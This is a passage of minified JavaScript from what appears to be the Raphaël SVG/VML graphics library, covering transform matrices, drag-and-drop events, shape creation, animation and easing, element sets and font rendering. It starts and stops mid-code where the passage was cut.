p=i[c],d=p.length,v=I(p[0]).toLowerCase(),x=p[0]!=v,y=x?u.invert():0,m,b,_,w,k;"t"==v&&3==d?x?(m=y.x(0,0),b=y.y(0,0),_=y.x(p[1],p[2]),w=y.y(p[1],p[2]),u.translate(_-m,w-b)):u.translate(p[1],p[2]):"r"==v?2==d?(k=k||t.getBBox(1),u.rotate(p[1],k.x+k.width/2,k.y+k.height/2),n+=p[1]):4==d&&(x?(_=y.x(p[2],p[3]),w=y.y(p[2],p[3]),u.rotate(p[1],_,w)):u.rotate(p[1],p[2],p[3]),n+=p[1]):"s"==v?2==d||3==d?(k=k||t.getBBox(1),u.scale(p[1],p[d-1],k.x+k.width/2,k.y+k.height/2),o*=p[1],l*=p[d-1]):5==d&&(x?(_=y.x(p[3],p[4]),w=y.y(p[3],p[4]),u.scale(p[1],p[2],_,w)):u.scale(p[1],p[2],p[3],p[4]),o*=p[1],l*=p[2]):"m"==v&&7==d&&u.add(p[1],p[2],p[3],p[4],p[5],p[6]),h.dirtyT=1,t.matrix=u}t.matrix=u,h.sx=o,h.sy=l,h.deg=n,h.dx=a=u.e,h.dy=s=u.f,1==o&&1==l&&!n&&h.bbox?(h.bbox.x+=+a,h.bbox.y+=+s):h.dirtyT=1},oe=function(t){var e=t[0];switch(e.toLowerCase()){case"t":return[e,0,0];case"m":return[e,1,0,0,1,0,0];case"r":return 4==t.length?[e,0,t[2],t[3]]:[e,0];case"s":return 5==t.length?[e,1,1,t[3],t[4]]:3==t.length?[e,1,1]:[e,1]}},le=e._equaliseTransform=function(t,r){r=I(r).replace(/\.{3}|\u2026/g,t),t=e.parseTransformString(t)||[],r=e.parseTransformString(r)||[];for(var i=W(t.length,r.length),n=[],a=[],s=0,o,l,h,u;s<i;s++){if(h=t[s]||oe(r[s]),u=r[s]||oe(h),h[0]!=u[0]||"r"==h[0].toLowerCase()&&(h[2]!=u[2]||h[3]!=u[3])||"s"==h[0].toLowerCase()&&(h[3]!=u[3]||h[4]!=u[4]))return;for(n[s]=[],a[s]=[],o=0,l=W(h.length,u.length);o<l;o++)o in h&&(n[s][o]=h[o]),o in u&&(a[s][o]=u[o])}return{from:n,to:a}};e._getContainer=function(t,r,i,n){var a;if(a=null!=n||e.is(t,"object")?t:T.doc.getElementById(t),null!=a)return a.tagName?null==r?{container:a,width:a.style.pixelWidth||a.offsetWidth,height:a.style.pixelHeight||a.offsetHeight}:{container:a,width:r,height:i}:{container:1,x:t,y:r,width:i,height:n}},e.pathToRelative=Wt,e._engine={},e.path2curve=Qt,e.matrix=function(t,e,r,i,n,a){return new g(t,e,r,i,n,a)},function(t){function r(t){return t[0]*t[0]+t[1]*t[1]}function i(t){var e=Y.sqrt(r(t));t[0]&&(t[0]/=e),t[1]&&(t[1]/=e)}t.add=function(t,e,r,i,n,a){var s=[[],[],[]],o=[[this.a,this.c,this.e],[this.b,this.d,this.f],[0,0,1]],l=[[t,r,n],[e,i,a],[0,0,1]],h,u,c,f;for(t&&t instanceof g&&(l=[[t.a,t.c,t.e],[t.b,t.d,t.f],[0,0,1]]),h=0;h<3;h++)for(u=0;u<3;u++){for(f=0,c=0;c<3;c++)f+=o[h][c]*l[c][u];s[h][u]=f}this.a=s[0][0],this.b=s[1][0],this.c=s[0][1],this.d=s[1][1],this.e=s[0][2],this.f=s[1][2]},t.invert=function(){var t=this,e=t.a*t.d-t.b*t.c;return new g(t.d/e,-t.b/e,-t.c/e,t.a/e,(t.c*t.f-t.d*t.e)/e,(t.b*t.e-t.a*t.f)/e)},t.clone=function(){return new g(this.a,this.b,this.c,this.d,this.e,this.f)},t.translate=function(t,e){
this.add(1,0,0,1,t,e)},t.scale=function(t,e,r,i){null==e&&(e=t),(r||i)&&this.add(1,0,0,1,r,i),this.add(t,0,0,e,0,0),(r||i)&&this.add(1,0,0,1,-r,-i)},t.rotate=function(t,r,i){t=e.rad(t),r=r||0,i=i||0;var n=+Y.cos(t).toFixed(9),a=+Y.sin(t).toFixed(9);this.add(n,a,-a,n,r,i),this.add(1,0,0,1,-r,-i)},t.x=function(t,e){return t*this.a+e*this.c+this.e},t.y=function(t,e){return t*this.b+e*this.d+this.f},t.get=function(t){return+this[I.fromCharCode(97+t)].toFixed(4)},t.toString=function(){return e.svg?"matrix("+[this.get(0),this.get(1),this.get(2),this.get(3),this.get(4),this.get(5)].join()+")":[this.get(0),this.get(2),this.get(1),this.get(3),0,0].join()},t.toFilter=function(){return"progid:DXImageTransform.Microsoft.Matrix(M11="+this.get(0)+", M12="+this.get(2)+", M21="+this.get(1)+", M22="+this.get(3)+", Dx="+this.get(4)+", Dy="+this.get(5)+", sizingmethod='auto expand')"},t.offset=function(){return[this.e.toFixed(4),this.f.toFixed(4)]},t.split=function(){var t={};t.dx=this.e,t.dy=this.f;var n=[[this.a,this.c],[this.b,this.d]];t.scalex=Y.sqrt(r(n[0])),i(n[0]),t.shear=n[0][0]*n[1][0]+n[0][1]*n[1][1],n[1]=[n[1][0]-n[0][0]*t.shear,n[1][1]-n[0][1]*t.shear],t.scaley=Y.sqrt(r(n[1])),i(n[1]),t.shear/=t.scaley;var a=-n[0][1],s=n[1][1];return s<0?(t.rotate=e.deg(Y.acos(s)),a<0&&(t.rotate=360-t.rotate)):t.rotate=e.deg(Y.asin(a)),t.isSimple=!(+t.shear.toFixed(9)||t.scalex.toFixed(9)!=t.scaley.toFixed(9)&&t.rotate),t.isSuperSimple=!+t.shear.toFixed(9)&&t.scalex.toFixed(9)==t.scaley.toFixed(9)&&!t.rotate,t.noRotation=!+t.shear.toFixed(9)&&!t.rotate,t},t.toTransformString=function(t){var e=t||this[q]();return e.isSimple?(e.scalex=+e.scalex.toFixed(4),e.scaley=+e.scaley.toFixed(4),e.rotate=+e.rotate.toFixed(4),(e.dx||e.dy?"t"+[e.dx,e.dy]:R)+(1!=e.scalex||1!=e.scaley?"s"+[e.scalex,e.scaley,0,0]:R)+(e.rotate?"r"+[e.rotate,0,0]:R)):"m"+[this.get(0),this.get(1),this.get(2),this.get(3),this.get(4),this.get(5)]}}(g.prototype);for(var he=function(){this.returnValue=!1},ue=function(){return this.originalEvent.preventDefault()},ce=function(){this.cancelBubble=!0},fe=function(){return this.originalEvent.stopPropagation()},pe=function(t){var e=T.doc.documentElement.scrollTop||T.doc.body.scrollTop,r=T.doc.documentElement.scrollLeft||T.doc.body.scrollLeft;return{x:t.clientX+r,y:t.clientY+e}},de=function(){return T.doc.addEventListener?function(t,e,r,i){var n=function(t){var e=pe(t);return r.call(i,t,e.x,e.y)};if(t.addEventListener(e,n,!1),F&&V[e]){var a=function(e){for(var n=pe(e),a=e,s=0,o=e.targetTouches&&e.targetTouches.length;s<o;s++)if(e.targetTouches[s].target==t){e=e.targetTouches[s],e.originalEvent=a,e.preventDefault=ue,e.stopPropagation=fe;break}return r.call(i,e,n.x,n.y)};t.addEventListener(V[e],a,!1)}return function(){return t.removeEventListener(e,n,!1),F&&V[e]&&t.removeEventListener(V[e],a,!1),!0}}:T.doc.attachEvent?function(t,e,r,i){var n=function(t){t=t||T.win.event;var e=T.doc.documentElement.scrollTop||T.doc.body.scrollTop,n=T.doc.documentElement.scrollLeft||T.doc.body.scrollLeft,a=t.clientX+n,s=t.clientY+e;return t.preventDefault=t.preventDefault||he,t.stopPropagation=t.stopPropagation||ce,r.call(i,t,a,s)};t.attachEvent("on"+e,n);var a=function(){return t.detachEvent("on"+e,n),!0};return a}:void 0}(),ge=[],ve=function(e){for(var r=e.clientX,i=e.clientY,n=T.doc.documentElement.scrollTop||T.doc.body.scrollTop,a=T.doc.documentElement.scrollLeft||T.doc.body.scrollLeft,s,o=ge.length;o--;){if(s=ge[o],F&&e.touches){for(var l=e.touches.length,h;l--;)if(h=e.touches[l],h.identifier==s.el._drag.id){r=h.clientX,i=h.clientY,(e.originalEvent?e.originalEvent:e).preventDefault();break}}else e.preventDefault();var u=s.el.node,c,f=u.nextSibling,p=u.parentNode,d=u.style.display;T.win.opera&&p.removeChild(u),u.style.display="none",c=s.el.paper.getElementByPoint(r,i),u.style.display=d,T.win.opera&&(f?p.insertBefore(u,f):p.appendChild(u)),c&&t("raphael.drag.over."+s.el.id,s.el,c),r+=a,i+=n,t("raphael.drag.move."+s.el.id,s.move_scope||s.el,r-s.el._drag.x,i-s.el._drag.y,r,i,e)}},xe=function(r){e.unmousemove(ve).unmouseup(xe);for(var i=ge.length,n;i--;)n=ge[i],n.el._drag={},t("raphael.drag.end."+n.el.id,n.end_scope||n.start_scope||n.move_scope||n.el,r);ge=[]},ye=e.el={},me=D.length;me--;)!function(t){e[t]=ye[t]=function(r,i){return e.is(r,"function")&&(this.events=this.events||[],this.events.push({name:t,f:r,unbind:de(this.shape||this.node||T.doc,t,r,i||this)})),this},e["un"+t]=ye["un"+t]=function(r){for(var i=this.events||[],n=i.length;n--;)i[n].name!=t||!e.is(r,"undefined")&&i[n].f!=r||(i[n].unbind(),i.splice(n,1),!i.length&&delete this.events);return this}}(D[me]);ye.data=function(r,i){var n=wt[this.id]=wt[this.id]||{};if(0==arguments.length)return n;if(1==arguments.length){if(e.is(r,"object")){for(var a in r)r[A](a)&&this.data(a,r[a]);return this}return t("raphael.data.get."+this.id,this,n[r],r),n[r]}return n[r]=i,t("raphael.data.set."+this.id,this,i,r),this},ye.removeData=function(t){return null==t?wt[this.id]={}:wt[this.id]&&delete wt[this.id][t],this},ye.getData=function(){return r(wt[this.id]||{})},ye.hover=function(t,e,r,i){return this.mouseover(t,r).mouseout(e,i||r)},ye.unhover=function(t,e){return this.unmouseover(t).unmouseout(e)};var be=[];ye.drag=function(r,i,n,a,s,o){function l(l){(l.originalEvent||l).preventDefault();var h=l.clientX,u=l.clientY,c=T.doc.documentElement.scrollTop||T.doc.body.scrollTop,f=T.doc.documentElement.scrollLeft||T.doc.body.scrollLeft;if(this._drag.id=l.identifier,F&&l.touches)for(var p=l.touches.length,d;p--;)if(d=l.touches[p],this._drag.id=d.identifier,d.identifier==this._drag.id){h=d.clientX,u=d.clientY;break}this._drag.x=h+f,this._drag.y=u+c,!ge.length&&e.mousemove(ve).mouseup(xe),ge.push({el:this,move_scope:a,start_scope:s,end_scope:o}),i&&t.on("raphael.drag.start."+this.id,i),r&&t.on("raphael.drag.move."+this.id,r),n&&t.on("raphael.drag.end."+this.id,n),t("raphael.drag.start."+this.id,s||a||this,l.clientX+f,l.clientY+c,l)}return this._drag={},be.push({el:this,start:l}),this.mousedown(l),this},ye.onDragOver=function(e){e?t.on("raphael.drag.over."+this.id,e):t.unbind("raphael.drag.over."+this.id)},ye.undrag=function(){for(var r=be.length;r--;)be[r].el==this&&(this.unmousedown(be[r].start),be.splice(r,1),t.unbind("raphael.drag.*."+this.id));!be.length&&e.unmousemove(ve).unmouseup(xe),ge=[]},N.circle=function(t,r,i){var n=e._engine.circle(this,t||0,r||0,i||0);return this.__set__&&this.__set__.push(n),n},N.rect=function(t,r,i,n,a){var s=e._engine.rect(this,t||0,r||0,i||0,n||0,a||0);return this.__set__&&this.__set__.push(s),s},N.ellipse=function(t,r,i,n){var a=e._engine.ellipse(this,t||0,r||0,i||0,n||0);return this.__set__&&this.__set__.push(a),a},N.path=function(t){t&&!e.is(t,Z)&&!e.is(t[0],Q)&&(t+=R);var r=e._engine.path(e.format[z](e,arguments),this);return this.__set__&&this.__set__.push(r),r},N.image=function(t,r,i,n,a){var s=e._engine.image(this,t||"about:blank",r||0,i||0,n||0,a||0);return this.__set__&&this.__set__.push(s),s},N.text=function(t,r,i){var n=e._engine.text(this,t||0,r||0,I(i));return this.__set__&&this.__set__.push(n),n},N.set=function(t){!e.is(t,"array")&&(t=Array.prototype.splice.call(arguments,0,arguments.length));var r=new ze(t);return this.__set__&&this.__set__.push(r),r.paper=this,r.type="set",r},N.setStart=function(t){this.__set__=t||this.set()},N.setFinish=function(t){var e=this.__set__;return delete this.__set__,e},N.getSize=function(){var t=this.canvas.parentNode;return{width:t.offsetWidth,height:t.offsetHeight}},N.setSize=function(t,r){return e._engine.setSize.call(this,t,r)},N.setViewBox=function(t,r,i,n,a){return e._engine.setViewBox.call(this,t,r,i,n,a)},N.top=N.bottom=null,N.raphael=e;var _e=function(t){var e=t.getBoundingClientRect(),r=t.ownerDocument,i=r.body,n=r.documentElement,a=n.clientTop||i.clientTop||0,s=n.clientLeft||i.clientLeft||0,o=e.top+(T.win.pageYOffset||n.scrollTop||i.scrollTop)-a,l=e.left+(T.win.pageXOffset||n.scrollLeft||i.scrollLeft)-s;return{y:o,x:l}};N.getElementByPoint=function(t,e){var r=this,i=r.canvas,n=T.doc.elementFromPoint(t,e);if(T.win.opera&&"svg"==n.tagName){var a=_e(i),s=i.createSVGRect();s.x=t-a.x,s.y=e-a.y,s.width=s.height=1;var o=i.getIntersectionList(s,null);o.length&&(n=o[o.length-1])}if(!n)return null;for(;n.parentNode&&n!=i.parentNode&&!n.raphael;)n=n.parentNode;return n==r.canvas.parentNode&&(n=i),n=n&&n.raphael?r.getById(n.raphaelid):null},N.getElementsByBBox=function(t){var r=this.set();return this.forEach(function(i){e.isBBoxIntersect(i.getBBox(),t)&&r.push(i)}),r},N.getById=function(t){for(var e=this.bottom;e;){if(e.id==t)return e;e=e.next}return null},N.forEach=function(t,e){for(var r=this.bottom;r;){if(t.call(e,r)===!1)return this;r=r.next}return this},N.getElementsByPoint=function(t,e){var r=this.set();return this.forEach(function(i){i.isPointInside(t,e)&&r.push(i)}),r},ye.isPointInside=function(t,r){var i=this.realPath=Et[this.type](this);return this.attr("transform")&&this.attr("transform").length&&(i=e.transformPath(i,this.attr("transform"))),e.isPointInsidePath(i,t,r)},ye.getBBox=function(t){if(this.removed)return{};var e=this._;return t?(!e.dirty&&e.bboxwt||(this.realPath=Et[this.type](this),e.bboxwt=Ot(this.realPath),e.bboxwt.toString=x,e.dirty=0),e.bboxwt):((e.dirty||e.dirtyT||!e.bbox)&&(!e.dirty&&this.realPath||(e.bboxwt=0,this.realPath=Et[this.type](this)),e.bbox=Ot(Mt(this.realPath,this.matrix)),e.bbox.toString=x,e.dirty=e.dirtyT=0),e.bbox)},ye.clone=function(){if(this.removed)return null;var t=this.paper[this.type]().attr(this.attr());return this.__set__&&this.__set__.push(t),t},ye.glow=function(t){if("text"==this.type)return null;t=t||{};var e={width:(t.width||10)+(+this.attr("stroke-width")||1),fill:t.fill||!1,opacity:null==t.opacity?.5:t.opacity,offsetx:t.offsetx||0,offsety:t.offsety||0,color:t.color||"#000"},r=e.width/2,i=this.paper,n=i.set(),a=this.realPath||Et[this.type](this);a=this.matrix?Mt(a,this.matrix):a;for(var s=1;s<r+1;s++)n.push(i.path(a).attr({stroke:e.color,fill:e.fill?e.color:"none","stroke-linejoin":"round","stroke-linecap":"round","stroke-width":+(e.width/r*s).toFixed(3),opacity:+(e.opacity/r).toFixed(3)}));return n.insertBefore(this).translate(e.offsetx,e.offsety)};var we={},ke=function(t,r,i,n,a,s,o,u,c){return null==c?l(t,r,i,n,a,s,o,u):e.findDotsAtSegment(t,r,i,n,a,s,o,u,h(t,r,i,n,a,s,o,u,c))},Be=function(t,r){return function(i,n,a){i=Qt(i);for(var s,o,l,h,u="",c={},f,p=0,d=0,g=i.length;d<g;d++){if(l=i[d],"M"==l[0])s=+l[1],o=+l[2];else{if(h=ke(s,o,l[1],l[2],l[3],l[4],l[5],l[6]),p+h>n){if(r&&!c.start){if(f=ke(s,o,l[1],l[2],l[3],l[4],l[5],l[6],n-p),u+=["C"+f.start.x,f.start.y,f.m.x,f.m.y,f.x,f.y],a)return u;c.start=u,u=["M"+f.x,f.y+"C"+f.n.x,f.n.y,f.end.x,f.end.y,l[5],l[6]].join(),p+=h,s=+l[5],o=+l[6];continue}if(!t&&!r)return f=ke(s,o,l[1],l[2],l[3],l[4],l[5],l[6],n-p),{x:f.x,y:f.y,alpha:f.alpha}}p+=h,s=+l[5],o=+l[6]}u+=l.shift()+l}return c.end=u,f=t?p:r?c:e.findDotsAtSegment(s,o,l[0],l[1],l[2],l[3],l[4],l[5],1),f.alpha&&(f={x:f.x,y:f.y,alpha:f.alpha}),f}},Ce=Be(1),Se=Be(),Ae=Be(0,1);e.getTotalLength=Ce,e.getPointAtLength=Se,e.getSubpath=function(t,e,r){if(this.getTotalLength(t)-r<1e-6)return Ae(t,e).end;var i=Ae(t,r,1);return e?Ae(i,e).end:i},ye.getTotalLength=function(){var t=this.getPath();if(t)return this.node.getTotalLength?this.node.getTotalLength():Ce(t)},ye.getPointAtLength=function(t){var e=this.getPath();if(e)return Se(e,t)},ye.getPath=function(){var t,r=e._getPath[this.type];if("text"!=this.type&&"set"!=this.type)return r&&(t=r(this)),t},ye.getSubpath=function(t,r){var i=this.getPath();if(i)return e.getSubpath(i,t,r)};var Te=e.easing_formulas={linear:function(t){return t},"<":function(t){return X(t,1.7)},">":function(t){return X(t,.48)},"<>":function(t){var e=.48-t/1.04,r=Y.sqrt(.1734+e*e),i=r-e,n=X(H(i),1/3)*(i<0?-1:1),a=-r-e,s=X(H(a),1/3)*(a<0?-1:1),o=n+s+.5;return 3*(1-o)*o*o+o*o*o},backIn:function(t){var e=1.70158;return t*t*((e+1)*t-e)},backOut:function(t){t-=1;var e=1.70158;return t*t*((e+1)*t+e)+1},elastic:function(t){return t==!!t?t:X(2,-10*t)*Y.sin((t-.075)*(2*U)/.3)+1},bounce:function(t){var e=7.5625,r=2.75,i;return t<1/r?i=e*t*t:t<2/r?(t-=1.5/r,i=e*t*t+.75):t<2.5/r?(t-=2.25/r,i=e*t*t+.9375):(t-=2.625/r,i=e*t*t+.984375),i}};Te.easeIn=Te["ease-in"]=Te["<"],Te.easeOut=Te["ease-out"]=Te[">"],Te.easeInOut=Te["ease-in-out"]=Te["<>"],Te["back-in"]=Te.backIn,Te["back-out"]=Te.backOut;var Ee=[],Me=window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(t){setTimeout(t,16)},Ne=function(){for(var r=+new Date,i=0;i<Ee.length;i++){var n=Ee[i];if(!n.el.removed&&!n.paused){var a=r-n.start,s=n.ms,o=n.easing,l=n.from,h=n.diff,u=n.to,c=n.t,f=n.el,p={},d,g={},v;if(n.initstatus?(a=(n.initstatus*n.anim.top-n.prev)/(n.percent-n.prev)*s,n.status=n.initstatus,delete n.initstatus,n.stop&&Ee.splice(i--,1)):n.status=(n.prev+(n.percent-n.prev)*(a/s))/n.anim.top,!(a<0))if(a<s){var x=o(a/s);for(var y in l)if(l[A](y)){switch(pt[y]){case $:d=+l[y]+x*s*h[y];break;case"colour":d="rgb("+[Le(ot(l[y].r+x*s*h[y].r)),Le(ot(l[y].g+x*s*h[y].g)),Le(ot(l[y].b+x*s*h[y].b))].join(",")+")";break;case"path":d=[];for(var m=0,_=l[y].length;m<_;m++){d[m]=[l[y][m][0]];for(var w=1,k=l[y][m].length;w<k;w++)d[m][w]=+l[y][m][w]+x*s*h[y][m][w];d[m]=d[m].join(j)}d=d.join(j);break;case"transform":if(h[y].real)for(d=[],m=0,_=l[y].length;m<_;m++)for(d[m]=[l[y][m][0]],w=1,k=l[y][m].length;w<k;w++)d[m][w]=l[y][m][w]+x*s*h[y][m][w];else{var B=function(t){return+l[y][t]+x*s*h[y][t]};d=[["m",B(0),B(1),B(2),B(3),B(4),B(5)]]}break;case"csv":if("clip-rect"==y)for(d=[],m=4;m--;)d[m]=+l[y][m]+x*s*h[y][m];break;default:var C=[][P](l[y]);for(d=[],m=f.paper.customAttributes[y].length;m--;)d[m]=+C[m]+x*s*h[y][m]}p[y]=d}f.attr(p),function(e,r,i){setTimeout(function(){t("raphael.anim.frame."+e,r,i)})}(f.id,f,n.anim)}else{if(function(r,i,n){setTimeout(function(){t("raphael.anim.frame."+i.id,i,n),t("raphael.anim.finish."+i.id,i,n),e.is(r,"function")&&r.call(i)})}(n.callback,f,n.anim),f.attr(u),Ee.splice(i--,1),n.repeat>1&&!n.next){for(v in u)u[A](v)&&(g[v]=n.totalOrigin[v]);n.el.attr(g),b(n.anim,n.el,n.anim.percents[0],null,n.totalOrigin,n.repeat-1)}n.next&&!n.stop&&b(n.anim,n.el,n.next,null,n.totalOrigin,n.repeat)}}}Ee.length&&Me(Ne)},Le=function(t){return t>255?255:t<0?0:t};ye.animateWith=function(t,r,i,n,a,s){var o=this;if(o.removed)return s&&s.call(o),o;var l=i instanceof m?i:e.animation(i,n,a,s),h,u;b(l,o,l.percents[0],null,o.attr());for(var c=0,f=Ee.length;c<f;c++)if(Ee[c].anim==r&&Ee[c].el==t){Ee[f-1].start=Ee[c].start;break}return o},ye.onAnimation=function(e){return e?t.on("raphael.anim.frame."+this.id,e):t.unbind("raphael.anim.frame."+this.id),this},m.prototype.delay=function(t){var e=new m(this.anim,this.ms);return e.times=this.times,e.del=+t||0,e},m.prototype.repeat=function(t){var e=new m(this.anim,this.ms);return e.del=this.del,e.times=Y.floor(W(t,0))||1,e},e.animation=function(t,r,i,n){if(t instanceof m)return t;!e.is(i,"function")&&i||(n=n||i||null,i=null),t=Object(t),r=+r||0;var a={},s,o;for(o in t)t[A](o)&&ht(o)!=o&&ht(o)+"%"!=o&&(s=!0,a[o]=t[o]);if(s)return i&&(a.easing=i),n&&(a.callback=n),new m({100:a},r);if(n){var l=0;for(var h in t){var u=ut(h);t[A](h)&&u>l&&(l=u)}l+="%",!t[l].callback&&(t[l].callback=n)}return new m(t,r)},ye.animate=function(t,r,i,n){var a=this;if(a.removed)return n&&n.call(a),a;var s=t instanceof m?t:e.animation(t,r,i,n);return b(s,a,s.percents[0],null,a.attr()),a},ye.setTime=function(t,e){return t&&null!=e&&this.status(t,G(e,t.ms)/t.ms),this},ye.status=function(t,e){var r=[],i=0,n,a;if(null!=e)return b(t,this,-1,G(e,1)),this;for(n=Ee.length;i<n;i++)if(a=Ee[i],a.el.id==this.id&&(!t||a.anim==t)){if(t)return a.status;r.push({anim:a.anim,status:a.status})}return t?0:r},ye.pause=function(e){for(var r=0;r<Ee.length;r++)Ee[r].el.id!=this.id||e&&Ee[r].anim!=e||t("raphael.anim.pause."+this.id,this,Ee[r].anim)!==!1&&(Ee[r].paused=!0);return this},ye.resume=function(e){for(var r=0;r<Ee.length;r++)if(Ee[r].el.id==this.id&&(!e||Ee[r].anim==e)){var i=Ee[r];t("raphael.anim.resume."+this.id,this,i.anim)!==!1&&(delete i.paused,this.status(i.anim,i.status))}return this},ye.stop=function(e){for(var r=0;r<Ee.length;r++)Ee[r].el.id!=this.id||e&&Ee[r].anim!=e||t("raphael.anim.stop."+this.id,this,Ee[r].anim)!==!1&&Ee.splice(r--,1);return this},t.on("raphael.remove",_),t.on("raphael.clear",_),ye.toString=function(){return"Raphaël’s object"};var ze=function(t){if(this.items=[],this.length=0,this.type="set",t)for(var e=0,r=t.length;e<r;e++)!t[e]||t[e].constructor!=ye.constructor&&t[e].constructor!=ze||(this[this.items.length]=this.items[this.items.length]=t[e],this.length++)},Pe=ze.prototype;Pe.push=function(){for(var t,e,r=0,i=arguments.length;r<i;r++)t=arguments[r],!t||t.constructor!=ye.constructor&&t.constructor!=ze||(e=this.items.length,this[e]=this.items[e]=t,this.length++);return this},Pe.pop=function(){return this.length&&delete this[this.length--],this.items.pop()},Pe.forEach=function(t,e){for(var r=0,i=this.items.length;r<i;r++)if(t.call(e,this.items[r],r)===!1)return this;return this};for(var Fe in ye)ye[A](Fe)&&(Pe[Fe]=function(t){return function(){var e=arguments;return this.forEach(function(r){r[t][z](r,e)})}}(Fe));return Pe.attr=function(t,r){if(t&&e.is(t,Q)&&e.is(t[0],"object"))for(var i=0,n=t.length;i<n;i++)this.items[i].attr(t[i]);else for(var a=0,s=this.items.length;a<s;a++)this.items[a].attr(t,r);return this},Pe.clear=function(){for(;this.length;)this.pop()},Pe.splice=function(t,e,r){t=t<0?W(this.length+t,0):t,e=W(0,G(this.length-t,e));var i=[],n=[],a=[],s;for(s=2;s<arguments.length;s++)a.push(arguments[s]);for(s=0;s<e;s++)n.push(this[t+s]);for(;s<this.length-t;s++)i.push(this[t+s]);var o=a.length;for(s=0;s<o+i.length;s++)this.items[t+s]=this[t+s]=s<o?a[s]:i[s-o];for(s=this.items.length=this.length-=e-o;this[s];)delete this[s++];return new ze(n)},Pe.exclude=function(t){for(var e=0,r=this.length;e<r;e++)if(this[e]==t)return this.splice(e,1),!0},Pe.animate=function(t,r,i,n){(e.is(i,"function")||!i)&&(n=i||null);var a=this.items.length,s=a,o,l=this,h;if(!a)return this;n&&(h=function(){!--a&&n.call(l)}),i=e.is(i,Z)?i:h;var u=e.animation(t,r,i,h);for(o=this.items[--s].animate(u);s--;)this.items[s]&&!this.items[s].removed&&this.items[s].animateWith(o,u,u),this.items[s]&&!this.items[s].removed||a--;return this},Pe.insertAfter=function(t){for(var e=this.items.length;e--;)this.items[e].insertAfter(t);return this},Pe.getBBox=function(){for(var t=[],e=[],r=[],i=[],n=this.items.length;n--;)if(!this.items[n].removed){var a=this.items[n].getBBox();t.push(a.x),e.push(a.y),r.push(a.x+a.width),i.push(a.y+a.height)}return t=G[z](0,t),e=G[z](0,e),r=W[z](0,r),i=W[z](0,i),{x:t,y:e,x2:r,y2:i,width:r-t,height:i-e}},Pe.clone=function(t){t=this.paper.set();for(var e=0,r=this.items.length;e<r;e++)t.push(this.items[e].clone());return t},Pe.toString=function(){return"Raphaël‘s set"},Pe.glow=function(t){var e=this.paper.set();return this.forEach(function(r,i){var n=r.glow(t);null!=n&&n.forEach(function(t,r){e.push(t)})}),e},Pe.isPointInside=function(t,e){var r=!1;return this.forEach(function(i){if(i.isPointInside(t,e))return r=!0,!1}),r},e.registerFont=function(t){if(!t.face)return t;this.fonts=this.fonts||{};var e={w:t.w,face:{},glyphs:{}},r=t.face["font-family"];for(var i in t.face)t.face[A](i)&&(e.face[i]=t.face[i]);if(this.fonts[r]?this.fonts[r].push(e):this.fonts[r]=[e],!t.svg){e.face["units-per-em"]=ut(t.face["units-per-em"],10);for(var n in t.glyphs)if(t.glyphs[A](n)){var a=t.glyphs[n];if(e.glyphs[n]={w:a.w,k:{},d:a.d&&"M"+a.d.replace(/[mlcxtrv]/g,function(t){return{l:"L",c:"C",x:"z",t:"m",r:"l",v:"c"}[t]||"M"})+"z"},a.k)for(var s in a.k)a[A](s)&&(e.glyphs[n].k[s]=a.k[s])}}return t},N.getFont=function(t,r,i,n){if(n=n||"normal",i=i||"normal",r=+r||{normal:400,bold:700,lighter:300,bolder:800}[r]||400,e.fonts){var a=e.fonts[t];if(!a){var s=new RegExp("(^|\\s)"+t.replace(/[^\w\d\s+!~.:_-]/g,R)+"(\\s|$)","i");for(var o in e.fonts)if(e.fonts[A](o)&&s.test(o)){a=e.fonts[o];break}}var l;if(a)for(var h=0,u=a.length;h<u&&(l=a[h],l.face["font-weight"]!=r||l.face["font-style"]!=i&&l.face["font-style"]||l.face["font-stretch"]!=n);h++);return l}},N.print=function(t,r,i,n,a,s,o,l){s=s||"middle",o=W(G(o||0,1),-1),l=W(G(l||1,3),1);var h=I(i)[q](R),u=0,c=0,f=R,p;if(e.is(n,"string")&&(n=this.getFont(n)),n){p=(a||16)/n.face["units-per-em"];for(var d=n.face.bbox[q](k),g=+d[0],v=d[3]-d[1],x=0,y=+d[1]+("baseline"==s?v+ +n.face.descent:v/2),m=0,b=h.length;m<b;m++){if("\n"==h[m])u=0,w=0,c=0,x+=v*l;else{var _=c&&n.glyphs[h[m-1]]||{},w=n.glyphs[h[m]];u+=c?(_.w||n.w)+(_.k&&_.k[h[m]]||0)+n.w*o:0,c=1}w&&w.d&&(f+=e.transformPath(w.d,["t",u*p,x*p,"s",p,p,g,y,"t",(t-g)/p,(r-y)/p]))}}return this.path(f).attr({fill:"#000",stroke:"none"})},N.add=function(t){if(e.is(t,"array"))for(var r=this.set(),i=0,n=t.length,a;i<n;i++)a=t[i]||{},B[A](a.type)&&r.push(this[a.type]().attr(a));return r},e.format=function(t,r){var i=e.is(r,Q)?[0][P](r):arguments;return t&&e.is(t,Z)&&i.length-1&&(t=t.replace(C,function(t,e){return null==i[++e]?R:i[e]})),t||R},e.fullfill=function(){var t=/\{([^\}]+)\}/g,e=/(?:(?:^|\.)(.+?)(?=\[|\.|$|\()|\[('|")(.+?)\2\])(\(\))?/g,r=function(t,r,i){var n=i;return r.replace(e,function(t,e,r,i,a){e=e||i,n&&(e in n&&(n=n[e]),"function"==typeof n&&a&&(n=n()))}),n=(null==n||n==i?t:n)+""};return function(e,i){return String(e).replace(t,function(t,e){return r(t,e,i)})}}(),e.ninja=function(){if(E.was)T.win.Raphael=E.is;else{window.Raphael=void 0;try{delete window.Raphael}catch(t){}}return e},e.st=Pe,t.on("raphael.DOMload",function(){w=!0}),function(t,r,i){function n(){/in/.test(t.readyState)?setTimeout(n,9):e.eve("raphael.DOMload")}null==t.readyState&&t.addEventListener&&(t.addEventListener(r,i=function(){t.removeEventListener(r,i,!1),t.readyState="complete"},!1),t.readyState="loading"),n()}(document,"DOMContentLoaded"),e}.apply(e,i),!(void 0!==n&&(t.exports=n))},function(t,e,r){var i,n;!function(r){var a="0.5.0",s="hasOwnProperty",o=/[\.\/]/,l=/\s*,\s*/,h="*",u=function(){},c=function(t,e){return t-e},f,p,d={n:{}},g=function(){for(var t=0,e=this.length;t<e;t++)if("undefined"!=typeof this[t])return this[t]},v=function(){for(var t=this.length;--t;)if("undefined"!=typeof this[t])return this[t]},x=Object.prototype.toString,y=String,m=Array.isArray||function(t){return t instanceof Array||"[object Array]"==x.call(t)};eve=function(t,e){var 